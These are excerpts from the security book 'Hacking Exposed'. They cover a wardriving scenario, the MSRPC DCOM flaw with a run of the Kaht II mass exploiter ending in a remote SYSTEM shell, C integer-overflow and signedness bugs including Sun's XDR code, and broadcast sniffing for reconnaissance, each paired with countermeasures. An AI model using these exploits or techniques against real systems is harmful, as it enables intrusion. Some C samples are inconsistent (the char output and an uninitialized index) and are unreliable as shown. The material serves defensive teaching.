

CHAPTER EXCERPTS

**HACKING
WINDOWS, UNIX,
AND NETWORK
DEVICES**

CASE STUDY: WIRELESS INSECURITIES

Wireless technology is evident in almost every part of our lives—from the infrared (IR) remote on your TV, to the wireless laptop you roam around the house with, to the Bluetooth keyboard used to type this very text. Wireless access is here to stay. This new found freedom is amazingly liberating; however, it is not without danger. As is generally the case, new functionality, features, or complexities often lead to security problems. The demand for wireless access has been so strong, that both vendors and security practitioners have been unable to keep up. Thus, the first incarnations of 802.11 devices have had a slew of fundamental design flaws down to their core or protocol level. We have a ubiquitous technology, a demand that far exceeds the maturity of the technology, and a bunch of bad guys who love to hack wireless devices. This has all the makings of a perfect storm...

Our famous and cheeky friend Joe Hacker is back at his antics again. This time instead of Googling for targets of opportunity, he has decided to get a little fresh air. In his travels, he packs what seems to be everything and the kitchen sink in his trusty backpack. Included in his arsenal is his laptop, 14 dB gain directional antenna, USB mobile GPS unit, and a litany of other computer gear, and, of course, his iPod. Joe decides that he will take a leisurely bus ride around the city. He doesn't really have a destination in mind; you would call it more of a tour. However, before he embarks on his tour, he decides to fire up the lappy and make sure it is ready for its journey as well.

Joe logs into his very reliable Linux laptop and fires up his favorite program, *Kismet*, plugs in his mobile GPS unit, and gets ready to hit the road. You may have already figured this out, but Joe isn't going on any regular drive—rather, he is going on a *Wardrive*. Wardriving is the latest rage and allows Joe to identify wireless networks and begin to determine just how secure they really are, or shall we say, insecure they really are. As the bus arrives, Joe puts his laptop into the backpack and straps on his iPod. The sounds of Steppenwolf's "Magic Carpet Ride" can be heard leaking out from his headphones. A magic carpet ride indeed.

After several hours of traversing the city, listening to music, and collecting his bounty, Joe decides to disembark and grab a quick bite to eat. As he scavenges his pockets for a few bucks to pay for a chill dog, he anticipates cracking the laptop open and examining the loot. After Joe washes the dog down with a Mountain Dew, he finds a park bench to sit on and review his treasure. *Kismet* certainly has done a good job of finding access points; Joe now has over a thousand wireless access points to choose from. He is beside himself with joy when he discovers over 50 percent of the access points don't have any security enabled and will allow direct access to the identified network. He laughs to himself. Even with all the money these companies spent on firewalls, they have no control over him simply logging directly onto their network via a wireless connection. Who needs to attack from the Internet—the parking lot seems much easier.

Joe noticed that a few of the companies on his hit list had managed to turn on some basic security. They enable Wired Equivalency Privacy (WEP), which is a flawed protocol designed to encrypt wireless traffic and prevent prying eyes (in this case Joe's) from

accessing their network. Joe smiles once again ... he knows that with a little help from his friend *Aircrack*, a bit of luck, and a few hundred thousand captured encrypted packets, he can crack the WEP key using a statistical cryptanalysis attack. That will be for another day; today he is going for the low hanging fruit. As he sits on the bench he has over 10 networks in close proximity with default Service Set Identifiers (SSIDs) to target. He thinks, "I'd better put some more music on; it is going to be a long afternoon of hacking..."

This frightening scenario is all too common. If you think it can't happen, think again. In the course of doing penetration reviews, we have actually walked into the lobby of our client's competitor (which resided across the street) and logged onto our client's network. You ask how? Well, they must not have studied the following chapters in the previous editions of *Hacking Exposed*. You, however, are one step ahead of them. Study well—and the next time you see a person waving around a Pringles can connected to a laptop, you might want to make sure your wireless security is up to snuff too!

EXCERPT FROM CHAPTER 4: “HACKING WINDOWS”



MSRPC Vulnerabilities

<i>Popularity:</i>	9
<i>Simplicity:</i>	5
<i>Impact:</i>	10
<i>Risk Rating:</i>	8

Apparently frustrated by the gradual hardening of IIS over the years, hackers turned their attention to more fertile ground: Microsoft Remote Procedure Call (MSRPC) and the many programmatic interfaces it provides. MSRPC is derived from the Open Software Foundation (OSF) RPC protocol, which has been implemented on other platforms for years. For those of you who are wondering why we include MSRPC under our discussion of proprietary Microsoft protocol attacks, MSRPC implements Microsoft-specific extensions that have historically separated it from other RPC implementations. Many of these interfaces have been in Windows since its inception, providing plenty of attack surface for buffer overflow exploits and the like. The MSRPC port mapper is advertised on TCP and UDP 135 by Windows systems, and cannot be disabled without drastically affecting the core functionality of the operating system. MSRPC interfaces are also available via other ports, including TCP/UDP 139, 445, or 593, and can also be configured to listen over a custom HTTP port via IIS or COM Internet Services (CIS; see <http://www.microsoft.com/technet/security/bulletin/MS03-026.msp>).

In July of 2003, The Last Stage of Delirium Research Group published one of the first serious salvos signaling renewed interest in Windows proprietary networking protocols. LSD identified a stack buffer overflow in the RPC interface implementing Distributed Component Object Model services (DCOM). Even Windows Server 2003's buffer overflow protection countermeasures (the /GS flag) failed to protect it from this vulnerability.

There were a number of exploits, viruses, and worms that were published to take advantage of this vulnerability. One easy-to-use scanner is the Kaht II tool, which can be downloaded from <http://www.securityfocus.com/bid/8205/exploit/>. Khat II can scan a range of IP addresses, remotely exploit each system vulnerable to the RPC vulnerability, and send back a shell running as SYSTEM. Talk about fire and forget exploitation! Khat II is shown in operation here:

```
C:\tools>kaht2.exe 192.168.234.2 192.168.234.3
```

KAHT II - MASSIVE RPC EXPLOIT

```
DCOM RPC exploit. Modified by aT4r@3wdesign.es
#haxorcitos && #localhost @Efnet Ownz you!!!
PUBLIC VERSION :P
```

```
[+] Targets: 192.168.234.2-192.168.234.3 with 50 Threads
[+] Attacking Port: 135. Remote Shell at port: 33090
[+] Scan In Progress...
- Connecting to 192.168.234.3
  Sending Exploit to a [WinXP] Server...
- Conectando con la Shell Remota...
```

```
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

```
C:\WINNT\system32>whoami
whoami
nt authority\system
```

```
C:\WINNT\system32>netstat -an
netstat -an
```

Active Connections

Proto	Local Address	Foreign Address	State
TCP	0.0.0.0:25	0.0.0.0:0	LISTENING
etc.			
TCP	192.168.234.3:33090	192.168.234.210:3239	ESTABLISHED
UDP	0.0.0.0:135	*:*	
etc.			

```
C:\test>b
```

```
- Connection Closed
```

```
[+] Scan Finished. Found 1 open ports
```

More infamously, the Blaster worm achieved significant distribution by exploiting this vulnerability. Blaster was programmed to infect other machines and perform a Denial of Service attack against windowsupdate.com (not actually the correct address for

Microsoft's primary patching site) that was blunted by Microsoft's removal of the windowsupdate.com domain name from DNS on August 15, 2003.

Subsequently, other serious MSRPC vulnerabilities were discovered. For details, see <http://www.microsoft.com/technet/security/Bulletin/MS03-039.msp>, [MS04-012.msp](http://www.microsoft.com/technet/security/Bulletin/MS04-012.msp), and [MS04-029.msp](http://www.microsoft.com/technet/security/Bulletin/MS04-029.msp).

— MSRPC Countermeasures

For complete information about mitigating this vulnerability, see Microsoft's security bulletin at <http://www.microsoft.com/technet/security/bulletin/MS03-026.msp>.

At the network layer, filter access to the ports used to exploit MSRPC, including:

- ▼ TCP ports 135, 139, 445, and 593
- UDP ports 135, 137, 138, and 445
- All unsolicited inbound traffic on ports greater than 1024
- Any other specifically configured RPC port
- ▲ If installed, COM Internet Services (CIS) or RPC over HTTP, which listen on ports 80 and 443 (see Microsoft security bulletin MS03-026 for more information about identifying CIS and RPC over HTTP on your systems)

At the host layer, filter these same ports using host-based firewalling or IPSec filters, and apply the patch from MS03-026 (or subsequent roll-up hotfixes or Service Packs, of course). Microsoft also released a tool to scan for the presence of this vulnerability at <http://support.microsoft.com/?kbid=827363>.

Although disabling the RPC service (RPCSS) is not recommended, you can disable DCOM to prevent specific vulnerabilities involving the RPC/DCOM interface (like MS03-026). While disabling DCOM is not as debilitating as disabling RPCSS, it will likely cause issues with your Windows applications, so be very cautious if you elect to go this route. See <http://support.microsoft.com/?kbid=825750> for information on how to disable DCOM. Also, be sure to disable RPC over HTTP and CIS if you are not using it.

If you write your own RPC applications, you should definitely read Microsoft's MSDN article on securing RPC clients and servers, available at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/rpc/rpc/writing_a_secure_rpc_client_or_server.asp.

To detect systems already infected by Blaster, we recommend following standard incident response procedures and relying on your anti-virus infrastructure. You might also try rerouting the windowsupdate.com domain name to a special internal IP address: This will alert you to the infected machines that will subsequently attempt to SYN flood the internal IP address at scheduled intervals according to Blaster's internal timer.

EXCERPT FROM CHAPTER 5: “HACKING UNIX”



Integer Overflow and Integer Sign Attacks

<i>Popularity:</i>	8
<i>Simplicity:</i>	7
<i>Impact:</i>	10
<i>Risk Rating:</i>	8

If format string attacks were the celebrities of the hacker world in 2000 and 2001, then integer overflows and integer sign attacks were the celebrities in 2002 and 2003. Some of the most widely used applications in the world, such as OpenSSH, Apache, snort, and samba, were vulnerable to integer overflows that led to exploitable buffer overflows. As with buffer overflows, integer overflows are programming errors, however, integer overflows are a little nastier because the compiler can be the culprit along with the programmer!

First, what is an integer? Within the C programming language, an integer is a data type that can hold numeric values. Integers can hold whole real numbers only; therefore, integers do not support fractions. Furthermore, because computers operate on binary data, integers need an ability to determine if the numeric value it has stored is a negative or positive number. Signed integers, or integers that keep track of their sign, store either a 1 or 0 in the most significant bit (MSB) of their first byte of storage. If the MSB is 1, the stored value is negative; if it is 0, the value is positive. Integers that are unsigned do not utilize this bit so all unsigned integers are positive. Determining when a variable is signed or unsigned causes some confusion, as we will see later.

Integer overflows exist because the values that can be stored within the numeric data type are limited by the size of the data type itself. For example, a 16-bit data type can store a maximum value of 32,767 only, whereas a 32-bit data type can store a maximum value of 2,147,483,647 (we assume both are signed integers). So what would happen if you assign the 16-bit signed data type a value of 60,000? An integer overflow would occur and the value actually stored within the variable would be -5536. Let's look at why this “wrapping,” as it is commonly called, occurs.

The ISO C99 standard states that an integer overflow causes “undefined behavior”; therefore, each compiler vendor can handle an integer overflow however they choose. They can ignore it, attempt to correct the situation, or abort the program. Most compilers seem to ignore the error. Even though compilers ignore the error, they still follow the ISO C99 standard that states a compiler should use modulo-arithmetic when placing a large value into a smaller data type. Modulo-arithmetic is performed on the value before it

is placed into the smaller data type to ensure the data fits. Why should you care about modulo-arithmetic? Because the compiler does all this behind the scenes, it is difficult for programmers to physically see an integer overflow. The formula looks something like this:

```
stored_value = value % (max_value_for_datatype + 1)
```

Modulo-arithmetic is a fancy way of saying the most significant bits are discarded up to the size of the data type and the least significant bits are stored. An example should explain this clearly:

```
#include <stdio.h>

int main(int argc, char **argv) {
    long l = 0xdeadbeef;
    short s = l;
    char c = l;
    printf("long: %x\n", l);
    printf("short: %x\n", s);
    printf("char: %x\n", c);
    return(0);
}
```

On a 32-bit Intel platform the output should be:

```
long: deadbeef
short: ffffbeef
char: ffffffff
```

As you can see, the most significant bits were discarded and the value assigned to `short` and `char` are what is left. Because a `short` can store only 2 bytes, we only see “beef,” and because a `char` can hold only one byte, we only see “ef”. The truncation of the data causes the data type to store only part of the full value. This is why our value was -5536 instead of 60,000 earlier in this section.

So, we understand the gory technical details, but how does an attacker use this to their advantage? It is quite simple. A large part of programming is copying data. The programmer has to dynamically copy data used for variable length user-supplied data. The user-supplied data, however, can be very large. If the programmer attempts to assign the length of the data to a data type that is too small, an overflow will occur. Here’s an example:

```
#include <stdio.h>

int get_user_input_length() { return 60000; };
```

```
int main(void) {
    int i;
    short len;
    char buf[256];
    char user_data[256];

    len = get_user_input_length();
    printf("%d\n", len);

    if(len > 256) {
        fprintf(stderr, "Data too long!");
        exit(1);
    }

    printf("data is less than 256!\n");
    strncpy(buf, user_data, len);
    buf[i] = '\0';
    printf("%s\n", buf);
    return 0;
}
```

And here's the output:

```
-5536
data is less than 256!
Bus error (core dumped)
```

This is a rather contrived example but it illustrates the point. The programmer must think about the size of the values and the size of the variables used to store those values.

Signed attacks are not too different from the above example. Signedness bugs occur when an unsigned integer is assigned to a signed integer or vice versus. Like a regular integer overflow, many of these problems appear because the compiler "handles" the situation for the programmer. Because the computer doesn't know the difference between a signed and unsigned byte (to the computer they are all 8 bits in length), the compiler has to make sure code is generated that understands when a variable is signed or unsigned. Let's look at an example of a signedness bug:

```
static char data[256];

int store_data(char *buf, int len)
{
    if(len > 256)
        return -1;
    return memcpy(data, buf, len);
}
```

In this example, if you pass a negative value to `len` (a signed integer), you bypass the buffer overflow check, and since `memcpy` requires an unsigned integer for the length parameter, the signed variable `len` would be promoted to an unsigned integer and lose its negative sign. `len` would wrap around and become a very large positive number causing `memcpy` to read past the bounds of `buf`.

It is interesting to note that most integer overflows are not exploitable themselves. Integer overflows become exploitable usually when the overflowed integer is used as an argument to a function such as `strncat`, which triggers a buffer overflow. Integer overflows followed by buffer overflows have been the exact cause of many of the remotely exploitable vulnerabilities recently discovered in applications such as OpenSSH, snort, and Apache.

Let's look at a real world example of an integer overflow. In March 2003, a vulnerability was found within Sun Microsystem's External Data Representation (XDR) RPC code. Because Sun's XDR is a standard, many other RPC implementations utilize Sun's code to perform the XDR data manipulations; therefore, this vulnerability affected not only Sun but also many other operating systems including Linux, FreeBSD, and IRIX.

```
static bool_t
xdrmem_getbytes(XDR *xdrs, caddr_t addr, int len)
{
    int tmp;

    trace2(TR_xdrmem_getbytes, 0, len);
    if ((tmp = (xdrs->x_handy - len)) < 0) { // [1]
        syslog(LOG_WARNING,
            <omitted for brevity>

        return (FALSE);
    }

    xdrs->x_handy = tmp;
    (void) memcpy(addr, xdrs->x_private, len); // [2]
    xdrs->x_private += len;
    trace1(TR_xdrmem_getbytes, 1);
    return (TRUE);
}
```

If you haven't spotted it yet, this is an integer overflow caused by a signed/unsigned mismatch. `len` is a signed integer and, as discussed, if a signed integer is converted to an unsigned integer, any negative value stored within the signed integer is converted to a large positive value when stored within the unsigned integer. Therefore, if we pass a negative value into the `xdrmem_getbytes()` function for `len`, we will bypass the check in [1], and the `memcpy()` in [2] will read past the bounds of `xdrs->x_private` because

the third parameter to `memcpy()` will upgrade our signed integer `len` to an unsigned integer automatically. `memcpy()` is then told that the length of the data is a huge positive number. This vulnerability is not easy to exploit remotely as the various operating systems implement `memcpy()` differently.

Integer Overflow Attack Countermeasures

Integer overflow attacks enable buffer overflow attacks, thus, many of the aforementioned buffer overflow countermeasures apply.

As we saw with format string attacks, the lack of secure programming practices is the root cause of integer overflows and integer sign attacks. Code reviews and a deep understanding of how the programming language in use deals with overflows and sign conversion is the key to developing secure applications.

Lastly, the best places to look for integer overflows are in signed and unsigned comparison or arithmetic routines, loop control structures such as `for()`, and variables used to hold lengths of user input data.

EXCERPT FROM CHAPTER 7: “NETWORK DEVICES”



Broadcast Sniffing

One often underestimated hacker technique is to simply listen on a switch. By plugging into a switch and running a packet analyzer like Snort, you will find a world of broadcast treasures that can be used to introduce a whole series of headaches for system and network administrators. Take the first example, the DHCP broadcast:

```
11/27-08:35:38.912270 0.0.0.0:68 -> 255.255.255.255:67
UDP TTL:128 TOS:0x0 ID:59170 IpLen:20 DgmLen:332
Len: 304
0x0000: FF FF FF FF FF FF 00 06 5B 02 67 F1 08 00 45 00 .....[.g...E.
0x0010: 01 4C E7 22 00 00 80 11 52 7F 00 00 00 00 FF FF .L."....R.....
0x0020: FF FF 00 44 00 43 01 38 C0 93 01 01 06 00 13 11 ...D.C.8.....
0x0030: 74 17 0B 00 00 00 00 00 00 00 00 00 00 00 00 00 t.....
0x0040: 00 00 00 00 00 00 00 06 5B 02 67 F1 00 00 00 00 .....[.g.....
0x0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
```

```

0x00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0110: 00 00 00 00 00 00 63 82 53 63 35 01 03 3D 07 01 .....c.Sc5..=..
0x0120: 00 06 5B 02 67 F1 32 04 C0 A8 00 C0 0C 07 42 4C ..[.g.2.....BL
0x0130: 41 48 44 45 45 51 0B 00 00 00 42 4C 41 48 44 45 AHDEEQ....BLAHDE
0x0140: 45 2E 3C 08 4D 53 46 54 20 35 2E 30 37 0B 01 0F E.<.MSFT 5.07...
0x0150: 03 06 2C 2E 2F 1F 21 F9 2B FF .../.!..+.

```

Now let's look at a DHCP reply:

```
11/27-22:27:44.438059 192.168.0.1:67 -> 192.168.0.60:68
```

```
UDP TTL:32 TOS:0x0 ID:38962 IpLen:20 DgmLen:576 DF
```

```
Len: 548
```

```

0x0000: 00 0D 60 C5 4A B8 00 30 BD 6C C0 E2 08 00 45 00 ..'.J..0.1....E.
0x0010: 02 40 98 32 40 00 20 11 3E ED C0 A8 00 01 C0 A8 .@.2@. .>.....
0x0020: 00 3C 00 43 00 44 02 2C 98 32 02 01 06 00 18 23 <.C.D.,.2.....#
0x0030: 19 EC 00 00 00 00 C0 A8 00 3C C0 A8 00 3C 00 00 .....<...<..
0x0040: 00 00 00 00 00 00 0D 60 C5 4A B8 00 00 00 00 .....'.J.....
0x0050: 00 00 00 00 00 00 FF 00 00 00 00 00 00 00 00 .....
0x0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0090: 00 00 00 00 00 00 FF 00 00 00 00 00 00 00 00 .....
0x00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0110: 00 00 00 00 00 00 63 82 53 63 35 01 05 36 04 C0 .....c.Sc5..6..
0x0120: A8 00 01 01 04 FF FF FF 00 33 04 FF FF FF FF 34 .....3.....4
0x0130: 01 03 0F 06 42 65 6C 6B 69 6E 03 04 C0 A8 00 01 ....Belkin.....
0x0140: 06 04 C0 A8 00 01 1F 01 01 FF 00 00 00 00 00 00 .....
0x0150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x01A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x01B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x01C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x01D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....

```

```

0x01E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x01F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x0240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....

```

Do you see what we see? Check out 0x0134 through 0x0139—the word “Belkin.” That’s right, the DHCP reply packet is coming from a Belkin DHCP server. Most likely a router of some sort. Don’t you like how vendors help hackers?

Let’s also check out an ARP broadcast. Each device that plugs into the network will (when it wants to connect to another host on the network) send out an ARP broadcast packet. This packet effectively asks all devices on the network to respond if they have a particular IP address. If the device has that IP address, it will respond with an ARP reply stating its MAC address (the hardware address needed to send traffic). As you can see here, this reply reveals a number of jewels:

```

11/27-22:18:50.011058 ARP who-has 192.168.0.1 tell 192.168.0.192
11/27-22:18:50.012221 ARP reply 192.168.0.1 is-at 0:30:BD:7C:C1:E2

```

Often the first job of the hacker is to learn as much about his target as possible. This ARP sniffing technique provides him with both the network address (192.168.0.0) and the live IP addresses of the potential targets (192.168.0.1 and 192.168.0.192). Additionally, the MAC address is now known (0:30:BD:7C:C1:E2), which can do wonders for some ARP spoofing attacks.

Next, we take a look at WINS broadcast packets. This is by far and away the most valuable data for the hacker. By listening on the wire for a sufficient period of time (let’s say 24 hours), an attacker can gather enough information to know exactly what systems to target and how. Take a look at a Snort log of WINS broadcast traffic:

```

11/27-22:27:57.379464 192.168.0.60:138 -> 192.168.0.255:138
UDP TTL:128 TOS:0x0 ID:22 IpLen:20 DgmLen:205
Len: 177
0x0000: FF FF FF FF FF FF 00 0D 60 C5 4A B8 08 00 45 00 .....'.J...E.
0x0010: 00 CD 00 16 00 00 80 11 B7 7E C0 A8 00 3C C0 A8 .....~...<..
0x0020: 00 FF 00 8A 00 8A 00 B9 7A C4 11 02 80 06 C0 A8 .....z.....
0x0030: 00 3C 00 8A 00 A3 00 00 20 45 47 46 44 43 4E 46 .<..... EGFDCNf
0x0040: 44 46 45 46 46 43 41 43 41 43 41 43 41 43 41 43 DFEFFCACACACACAC
0x0050: 41 43 41 43 41 43 41 41 41 00 20 46 48 45 50 46 ACACACAAA. FHEPF
0x0060: 43 45 4C 45 48 46 43 45 50 46 46 46 41 43 41 43 CELEHFCEPFFACAC
0x0070: 41 43 41 43 41 43 41 43 41 42 4E 00 FF 53 4D 42 ACACACACABN..SMB
0x0080: 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 %.....
0x0090: 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 09 .....

```

```

0x00A0: 00 00 00 00 00 00 00 00 00 00 E8 03 00 00 00 00 .....
0x00B0: 00 00 00 09 00 56 00 03 00 01 00 01 00 02 00 1A .....V.....
0x00C0: 00 5C 4D 41 49 4C 53 4C 4F 54 5C 42 52 4F 57 53 .\MAILSLOT\BROWS
0x00D0: 45 00 02 00 46 53 2D 53 54 55 00 E...FS-STU.

```

As you can see, the packet belongs to a Windows workstation. The following items are a dead giveaway:

- ▼ **\MAILSLOT\BROWSE** The tell-tale sign of a broadcasting WINS workstation.
- **WORKGROUP** This is the default Windows group assigned to workstations (you may see the domain name of the system it is sniffing as well).
- ▲ **FS-STU** This is the NetBIOS name of the device sending the broadcast packet.

Now let's look at another WINS broadcast packet. This is almost identical, but can you see the difference?

```

11/27-22:27:54.365667 192.168.0.60:138 -> 192.168.0.255:138
UDP TTL:128 TOS:0x0 ID:17 IpLen:20 DgmLen:239
Len: 211
0x0000: FF FF FF FF FF FF 00 0D 60 C5 4A B8 08 00 45 00 .....'.J...E.
0x0010: 00 EF 00 11 00 00 80 11 B7 61 C0 A8 00 3C C0 A8 .....a...<..
0x0020: 00 FF 00 8A 00 8A 00 DB 0D 01 11 02 80 03 C0 A8 .....
0x0030: 00 3C 00 8A 00 C5 00 00 20 45 47 46 44 43 4E 46 .<..... EGFDCNF
0x0040: 44 46 45 46 46 43 41 43 41 43 41 43 41 43 41 43 DFEFFCACACACACAC
0x0050: 41 43 41 43 41 43 41 43 41 00 20 46 48 45 50 46 ACACACACA. FHEPF
0x0060: 43 45 4C 45 48 46 43 45 50 46 46 46 41 43 41 43 CELEHFCEPFFACAC
0x0070: 41 43 41 43 41 43 41 43 41 42 4E 00 FF 53 4D 42 ACACACACABN..SMB
0x0080: 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 %.....
0x0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 2B .....+
0x00A0: 00 00 00 00 00 00 00 00 00 00 E8 03 00 00 00 00 .....
0x00B0: 00 00 00 2B 00 56 00 03 00 01 00 00 00 02 00 3C ...+.V.....<
0x00C0: 00 5C 4D 41 49 4C 53 4C 4F 54 5C 42 52 4F 57 53 .\MAILSLOT\BROWS
0x00D0: 45 00 01 00 80 A9 03 00 46 53 2D 53 54 55 00 00 E.....FS-STU..
0x00E0: 00 00 00 00 00 00 00 00 05 02 03 90 80 00 0F 01 .....
0x00F0: 55 AA 41 63 63 6F 75 6E 74 69 6E 67 00 U.Accounting.

```

We now see the target's computer description value. Remember the little thing that gets (optionally) filled out when you install the Windows operating system? Or when you later right-click the My Computer icon and select Properties? This field is often used by companies as a place to set the role of the computer in the network, in our example, the computer's role is "Accounting." Now we not only know the NetBIOS name (which can be helpful in spoofing) but also know its role. So if a hacker wants to go after systems in

the accounting department, he knows who that might include as well as an IP address of a system on that network.

As you can see from the above, while these sniffing techniques may not produce the holy grail of hacks for the attacker, these techniques help the hacker by providing information that is often perceived as un-sniffable on a switch.

Broadcast Sniffing Countermeasure

Unfortunately, you cannot do much to eliminate or even mitigate this threat effectively. The only real option is to assign a particular port to a Virtual LAN (VLAN), which limits the users of a particular broadcast domain. This way, if you have critical and sensitive systems, you can move them to their own VLAN and prevent just anyone from plugging into the system's switch and listening in on traffic.